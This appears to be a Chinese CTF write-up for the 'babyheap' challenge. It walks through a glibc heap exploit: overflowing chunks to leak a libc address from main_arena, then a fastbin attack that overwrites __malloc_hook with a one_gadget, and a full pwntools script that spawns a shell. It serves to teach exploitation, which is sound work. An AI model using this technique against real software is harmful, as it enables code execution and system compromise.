解题思路
1. 查看文件信息,安全机制
2. IDA审计
3. 分析漏洞点
4. 编写EXP
安全机制
安全机制全部开启了,其实不用慌,对我们做题影响不是很大
1.Allocate
2.Fill
3.Free
4.Dump
4.1
每次都是利用UAF漏洞来泄露堆的地址,第一次尝试利用这个方法去获取堆的地址(好像叫重叠堆)
漏洞点
1.Fill的size大小没有限制,可以覆盖到后面的chunk
2.在free的时候,不存在uaf漏洞
3.dump只能dump出本chunk的内容
思考漏洞点
先考虑怎么获取堆的地址:
这样就获取到smallbin的main_arena的地址
alloc(0x20)
alloc(0x20)
alloc(0x20)
alloc(0x20)
alloc(0x80)
free(1)
free(2)
payload = p64(0)*5
payload += p64(0x31)
payload += p64(0)*5
payload += p64(0x31) #通过修改index(2)的fd指针将small chunk的地址写进fastbin链表中
payload += p8(0xc0)
fill(0, payload)
payload = p64(0)*5
payload += p64(0x31) #修改index(3),将index(4)的size位修改为和free chunk大小相同
fill(3, payload)
alloc(0x20) #将index(2)的chunk 申请走
alloc(0x20) #将我们伪造的index(4) 大小为0x20 chunk,申请走
payload = p64(0)*5 #将伪造的chunk 还原回去
payload += p64(0x91)
fill(3, payload)
alloc(0x80) #这理多申请一个small,在我们想要获取堆地址的时候,最好是两个以上的同一个chunk来泄露 index = 5
free(4) #先free 为下面寻找0x70的chunk,做准备
libc_base = u64(dump(2)[:8]) - 0x58-0x3c4b20 #0x3a5678
print ("---->") + hex(u64(dump(2)[:8]))
libc_base如何计算
hex(0x7ffff7dd1b20 - 0x7ffff7a0d000) = 0x3c4b20
0x58 就是main_arena 距离我们上图的距离0x58=88
vmmap
伪造chunk块,修改__malloc_hook
alloc(0x68) #伪造chunk 在main_arena 里面找到一个合适的chunk大小 一般常用0x7f index = 6
free(4)
fill(2, p64(libc_base + 0x3c4aed)) #main_arena的伪造chunkl地址
print ("1-->") + hex(libc_base + 0x3c4aed)
alloc(0x60) #将index= 4的 chunk申请走,
alloc(0x60) #将index = 4的fd ,chunk分配,这里就是我们伪造的chunk
payload = '\x00'*3
payload += p64(0)*2
payload += p64(libc_base + 0x4526a)
print ("2-->") + hex(libc_base + 0x4526a)
fill(6, payload)
alloc(233) #这里已经将__malloc_hook,修改为onegadget ,只要调用了alloc就会获取shell
p.interactive()
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
from pwn import *
import sys
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
#context.log_level='debug'
local = 1
if local:
p = process("./babyheap")
#elf = ELF("./level3_x64")
#libc = ELF("libc-2.19.so")
else:
p=remote("pwn2.jarvisoj.com",9883)
elf = ELF("./level3_x64")
libc = ELF("libc-2.19.so")
def alloc(size):
p.sendline('1')
p.sendlineafter(': ', str(size))
p.recvuntil(': ', timeout=1)
def fill(idx, data):
p.sendline('2')
p.sendlineafter(': ', str(idx))
p.sendlineafter(': ', str(len(data)))
p.sendafter(': ', data)
p.recvuntil(': ')
def free(idx):
p.sendline('3')
p.sendlineafter(': ', str(idx))
p.recvuntil(': ')
def dump(idx):
p.sendline('4')
p.sendlineafter(': ', str(idx))
p.recvuntil(': \n')
data = p.recvline()
p.recvuntil(': ')
return data
p.recvuntil(': ')
alloc(0x20)
alloc(0x20)
alloc(0x20)
alloc(0x20)
alloc(0x80)
free(1)
free(2)
payload = p64(0)*5
payload += p64(0x31)
payload += p64(0)*5
payload += p64(0x31)
payload += p8(0xc0)
fill(0, payload)
payload = p64(0)*5
payload += p64(0x31)
fill(3, payload)
#gdb.attach(p)
alloc(0x20)
alloc(0x20) #chunk申请过来
payload = p64(0)*5 #将伪造的chunk 还原回去
payload += p64(0x91)
fill(3, payload)
alloc(0x80)
free(4)
libc_base = u64(dump(2)[:8]) - 0x58-0x3c4b20 #0x3a5678
print ("---->") + hex(u64(dump(2)[:8]))
#gdb.attach(p)
log.info("main-arena: " + hex(u64(dump(2)[:8])-0x58))
log.info("libc_base: " + hex(libc_base))
alloc(0x68) #伪造chunk 在main_arena 里面找到一个合适的chunk大小 一般常用0x7f
free(4)
pause()
fill(2, p64(libc_base + 0x3c4aed))
print ("1-->") + hex(libc_base + 0x3c4aed)
alloc(0x60)
#gdb.attach(p)
alloc(0x60)
#gdb.attach(p)
payload = '\x00'*3
payload += p64(0)*2
payload += p64(libc_base + 0x4526a)
print ("2-->") + hex(libc_base + 0x4526a)
fill(6, payload)
alloc(233)
p.interactive()
后期在继续补充…
参考文献
:https://www.cnblogs.com/jazm/p/11184380.html
:https://bbs.pediy.com/thread-223461.htm